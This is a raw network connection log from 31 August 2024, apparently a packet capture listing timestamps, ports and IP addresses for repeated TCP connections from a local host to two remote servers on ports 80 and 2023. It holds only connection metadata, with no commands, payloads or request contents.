Aug 31, 2024 22:13:43.951518059 CEST	49743	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:43.961426020 CEST	49743	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:43.967667103 CEST	80	49743	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:44.674685001 CEST	80	49743	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:44.674813986 CEST	49743	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:44.795741081 CEST	49743	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:44.796030045 CEST	49744	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:44.800837994 CEST	80	49744	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:44.800993919 CEST	49744	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:44.801167011 CEST	49744	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:44.801192045 CEST	80	49743	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:44.801270008 CEST	49743	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:44.806018114 CEST	80	49744	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:45.496061087 CEST	80	49744	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:45.496154070 CEST	49744	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:45.609050989 CEST	49744	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:45.613882065 CEST	80	49744	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:45.845361948 CEST	80	49744	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:45.845487118 CEST	49744	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:46.060791016 CEST	49744	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:46.066473961 CEST	80	49744	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:46.066567898 CEST	49744	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:46.072665930 CEST	49745	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:46.079925060 CEST	80	49745	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:46.080050945 CEST	49745	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:46.089749098 CEST	49745	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:46.096213102 CEST	80	49745	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:46.818880081 CEST	80	49745	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:46.818975925 CEST	49745	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:46.936469078 CEST	49745	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:46.936822891 CEST	49746	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:46.941659927 CEST	80	49745	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:46.941685915 CEST	80	49746	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:46.941732883 CEST	49745	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:46.941778898 CEST	49746	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:46.941888094 CEST	49746	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:46.946686029 CEST	80	49746	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:47.651432037 CEST	80	49746	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:47.651546955 CEST	49746	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:47.764823914 CEST	49746	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:47.765157938 CEST	49747	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:47.769948959 CEST	80	49747	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:47.769979954 CEST	80	49746	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:47.770051003 CEST	49747	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:47.770080090 CEST	49746	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:47.770206928 CEST	49747	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:47.774996996 CEST	80	49747	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:48.459899902 CEST	80	49747	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:48.460031986 CEST	49747	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:48.611283064 CEST	49747	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:48.614830971 CEST	49748	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:48.616420031 CEST	80	49747	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:48.616497040 CEST	49747	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:48.619604111 CEST	80	49748	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:48.619664907 CEST	49748	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:48.622296095 CEST	49748	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:48.627055883 CEST	80	49748	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:49.309113026 CEST	80	49748	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:49.309231043 CEST	49748	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:49.421412945 CEST	49748	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:49.426224947 CEST	80	49748	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:49.658382893 CEST	80	49748	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:49.658488035 CEST	49748	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:49.764575005 CEST	49748	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:49.769431114 CEST	80	49748	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:50.000968933 CEST	80	49748	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:50.001035929 CEST	49748	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:50.108288050 CEST	49748	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:50.113188982 CEST	80	49748	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:50.352996111 CEST	80	49748	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:50.353090048 CEST	49748	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:50.471978903 CEST	49748	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:50.472311974 CEST	49749	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:50.477189064 CEST	80	49749	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:50.477287054 CEST	49749	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:50.477405071 CEST	49749	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:50.477777004 CEST	80	49748	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:50.477830887 CEST	49748	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:50.482316971 CEST	80	49749	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:51.204446077 CEST	80	49749	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:51.204579115 CEST	49749	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:51.317889929 CEST	49749	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:51.322906017 CEST	80	49749	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:51.559140921 CEST	80	49749	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:51.559221983 CEST	49749	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:51.673010111 CEST	49749	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:51.677906036 CEST	80	49749	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:51.914890051 CEST	80	49749	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:51.915083885 CEST	49749	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:52.030575037 CEST	49749	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:52.031431913 CEST	49750	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:52.036703110 CEST	80	49749	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:52.036803961 CEST	49749	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:52.037305117 CEST	80	49750	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:52.037394047 CEST	49750	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:52.037587881 CEST	49750	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:52.043911934 CEST	80	49750	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:52.748502970 CEST	80	49750	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:52.748596907 CEST	49750	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:52.858273983 CEST	49750	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:52.863059044 CEST	80	49750	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:53.098416090 CEST	80	49750	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:53.098519087 CEST	49750	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:53.217854023 CEST	49750	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:53.218203068 CEST	49751	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:53.223614931 CEST	80	49750	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:53.223630905 CEST	80	49751	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:53.223747969 CEST	49750	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:53.223838091 CEST	49751	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:53.223984003 CEST	49751	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:53.229820013 CEST	80	49751	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:53.914094925 CEST	80	49751	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:53.914206982 CEST	49751	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:54.031770945 CEST	49751	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:54.032068968 CEST	49752	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:54.036977053 CEST	80	49752	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:54.037003994 CEST	80	49751	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:54.037101030 CEST	49752	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:54.037163973 CEST	49751	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:54.037296057 CEST	49752	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:54.042073011 CEST	80	49752	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:54.739670038 CEST	80	49752	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:54.739783049 CEST	49752	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:54.858542919 CEST	49752	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:54.859292030 CEST	49753	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:54.863810062 CEST	80	49752	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:54.863887072 CEST	49752	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:54.864119053 CEST	80	49753	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:54.864193916 CEST	49753	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:54.864381075 CEST	49753	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:54.869112968 CEST	80	49753	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:55.569820881 CEST	80	49753	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:55.569902897 CEST	49753	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:55.686377048 CEST	49753	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:55.686666965 CEST	49754	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:55.691528082 CEST	80	49753	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:55.691546917 CEST	80	49754	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:55.691593885 CEST	49753	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:55.691622019 CEST	49754	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:55.691790104 CEST	49754	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:55.696599007 CEST	80	49754	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:56.398533106 CEST	80	49754	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:56.398644924 CEST	49754	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:56.514763117 CEST	49754	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:56.515120029 CEST	49755	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:56.519778013 CEST	80	49754	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:56.519862890 CEST	49754	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:56.519932032 CEST	80	49755	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:56.520008087 CEST	49755	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:56.520169020 CEST	49755	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:56.524926901 CEST	80	49755	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:57.213263988 CEST	80	49755	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:57.213413954 CEST	49755	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:57.332396030 CEST	49755	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:57.332701921 CEST	49756	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:57.337613106 CEST	80	49755	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:57.337671041 CEST	49755	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:57.337830067 CEST	80	49756	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:57.337889910 CEST	49756	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:57.338046074 CEST	49756	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:57.343024969 CEST	80	49756	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:58.050796032 CEST	80	49756	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:58.050877094 CEST	49756	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:58.228528976 CEST	49756	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:58.228838921 CEST	49757	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:58.233762980 CEST	80	49756	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:58.233808994 CEST	49756	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:58.234044075 CEST	80	49757	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:58.234111071 CEST	49757	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:58.236208916 CEST	49757	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:58.241121054 CEST	80	49757	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:58.928915977 CEST	80	49757	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:58.929152012 CEST	49757	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:59.045790911 CEST	49757	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:59.046132088 CEST	49758	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:59.050940990 CEST	80	49757	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:59.051012039 CEST	49757	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:59.051083088 CEST	80	49758	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:59.051145077 CEST	49758	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:59.051496029 CEST	49758	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:59.056246996 CEST	80	49758	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:59.758272886 CEST	80	49758	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:59.758332014 CEST	49758	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:59.886822939 CEST	49758	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:59.887499094 CEST	49759	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:59.892086029 CEST	80	49758	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:59.892154932 CEST	49758	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:59.892334938 CEST	80	49759	185.196.8.214	192.168.2.9
Aug 31, 2024 22:13:59.892401934 CEST	49759	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:59.892970085 CEST	49759	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:13:59.897826910 CEST	80	49759	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:00.588644981 CEST	80	49759	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:00.588783026 CEST	49759	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:00.702073097 CEST	49759	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:00.702379942 CEST	49760	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:00.707114935 CEST	80	49759	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:00.707164049 CEST	80	49760	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:00.707182884 CEST	49759	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:00.707232952 CEST	49760	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:00.707350969 CEST	49760	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:00.712199926 CEST	80	49760	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:01.396085024 CEST	80	49760	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:01.396168947 CEST	49760	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:01.514550924 CEST	49760	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:01.514864922 CEST	49761	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:01.519670010 CEST	80	49760	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:01.519736052 CEST	49760	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:01.519759893 CEST	80	49761	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:01.519821882 CEST	49761	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:01.520057917 CEST	49761	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:01.524822950 CEST	80	49761	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:02.219222069 CEST	80	49761	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:02.219305038 CEST	49761	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:02.342902899 CEST	49761	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:02.343262911 CEST	49762	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:02.347990036 CEST	80	49761	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:02.348053932 CEST	80	49762	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:02.348059893 CEST	49761	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:02.348131895 CEST	49762	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:02.348289967 CEST	49762	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:02.353367090 CEST	80	49762	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:03.032706022 CEST	80	49762	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:03.032767057 CEST	49762	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:03.161776066 CEST	49762	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:03.162091970 CEST	49763	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:03.167484045 CEST	80	49762	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:03.167520046 CEST	80	49763	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:03.167654991 CEST	49762	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:03.167690039 CEST	49763	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:03.167870998 CEST	49763	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:03.175673962 CEST	80	49763	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:04.062833071 CEST	80	49763	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:04.062935114 CEST	49763	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:04.188751936 CEST	49763	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:04.189085960 CEST	49764	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:04.193923950 CEST	80	49764	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:04.193955898 CEST	80	49763	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:04.194101095 CEST	49763	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:04.194117069 CEST	49764	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:04.194269896 CEST	49764	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:04.199563026 CEST	80	49764	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:04.923839092 CEST	80	49764	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:04.923998117 CEST	49764	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:04.925384998 CEST	49765	2023	192.168.2.9	89.105.201.183
Aug 31, 2024 22:14:04.930325031 CEST	2023	49765	89.105.201.183	192.168.2.9
Aug 31, 2024 22:14:04.930422068 CEST	49765	2023	192.168.2.9	89.105.201.183
Aug 31, 2024 22:14:04.930515051 CEST	49765	2023	192.168.2.9	89.105.201.183
Aug 31, 2024 22:14:04.935334921 CEST	2023	49765	89.105.201.183	192.168.2.9
Aug 31, 2024 22:14:04.935420036 CEST	49765	2023	192.168.2.9	89.105.201.183
Aug 31, 2024 22:14:04.940375090 CEST	2023	49765	89.105.201.183	192.168.2.9
Aug 31, 2024 22:14:05.540787935 CEST	2023	49765	89.105.201.183	192.168.2.9
Aug 31, 2024 22:14:05.589955091 CEST	49765	2023	192.168.2.9	89.105.201.183
Aug 31, 2024 22:14:07.546736956 CEST	49764	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:07.551584005 CEST	80	49764	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:07.832704067 CEST	80	49764	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:07.832792997 CEST	49764	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:07.952450991 CEST	49764	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:07.952781916 CEST	49766	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:07.957695007 CEST	80	49766	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:07.957763910 CEST	49766	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:07.957763910 CEST	80	49764	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:07.957818031 CEST	49764	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:07.958017111 CEST	49766	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:07.962788105 CEST	80	49766	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:08.667881966 CEST	80	49766	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:08.667951107 CEST	49766	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:08.669090033 CEST	49767	2023	192.168.2.9	89.105.201.183
Aug 31, 2024 22:14:08.674253941 CEST	2023	49767	89.105.201.183	192.168.2.9
Aug 31, 2024 22:14:08.674324989 CEST	49767	2023	192.168.2.9	89.105.201.183
Aug 31, 2024 22:14:08.674455881 CEST	49767	2023	192.168.2.9	89.105.201.183
Aug 31, 2024 22:14:08.674572945 CEST	49767	2023	192.168.2.9	89.105.201.183
Aug 31, 2024 22:14:08.679231882 CEST	2023	49767	89.105.201.183	192.168.2.9
Aug 31, 2024 22:14:08.722455978 CEST	2023	49767	89.105.201.183	192.168.2.9
Aug 31, 2024 22:14:08.782423973 CEST	49766	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:08.787265062 CEST	80	49766	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:09.020556927 CEST	80	49766	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:09.020764112 CEST	49766	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:09.110362053 CEST	2023	49767	89.105.201.183	192.168.2.9
Aug 31, 2024 22:14:09.110429049 CEST	49767	2023	192.168.2.9	89.105.201.183
Aug 31, 2024 22:14:09.142127037 CEST	49766	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:09.142513990 CEST	49768	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:09.147258997 CEST	80	49766	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:09.147332907 CEST	49766	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:09.147444963 CEST	80	49768	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:09.147519112 CEST	49768	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:09.147770882 CEST	49768	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:09.382404089 CEST	80	49766	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:09.382428885 CEST	80	49768	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:09.382487059 CEST	49766	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:09.388020039 CEST	80	49766	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:10.079664946 CEST	80	49768	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:10.079725981 CEST	49768	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:10.186765909 CEST	49768	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:10.191698074 CEST	80	49768	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:10.434252024 CEST	80	49768	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:10.434426069 CEST	49768	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:10.546132088 CEST	49768	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:10.550972939 CEST	80	49768	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:10.786328077 CEST	80	49768	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:10.786477089 CEST	49768	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:10.911516905 CEST	49768	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:10.912120104 CEST	49769	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:10.916887045 CEST	80	49768	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:10.916961908 CEST	49768	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:10.916975975 CEST	80	49769	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:10.917119026 CEST	49769	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:10.917258024 CEST	49769	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:10.922028065 CEST	80	49769	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:11.611777067 CEST	80	49769	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:11.611903906 CEST	49769	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:11.733684063 CEST	49769	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:11.734047890 CEST	49770	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:11.739106894 CEST	80	49769	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:11.739145041 CEST	80	49770	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:11.739211082 CEST	49769	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:11.739259958 CEST	49770	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:11.739518881 CEST	49770	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:11.744282007 CEST	80	49770	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:12.426371098 CEST	80	49770	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:12.426482916 CEST	49770	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:12.546268940 CEST	49770	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:12.546617031 CEST	49771	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:12.551630020 CEST	80	49771	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:12.551645994 CEST	80	49770	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:12.551743031 CEST	49770	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:12.551760912 CEST	49771	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:12.551911116 CEST	49771	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:12.556842089 CEST	80	49771	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:13.239588976 CEST	80	49771	185.196.8.214	192.168.2.9
Aug 31, 2024 22:14:13.239728928 CEST	49771	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:13.358953953 CEST	49771	80	192.168.2.9	185.196.8.214
Aug 31, 2024 22:14:13.359291077 CEST	49772	80	192.168.2.9	185.196.8.214
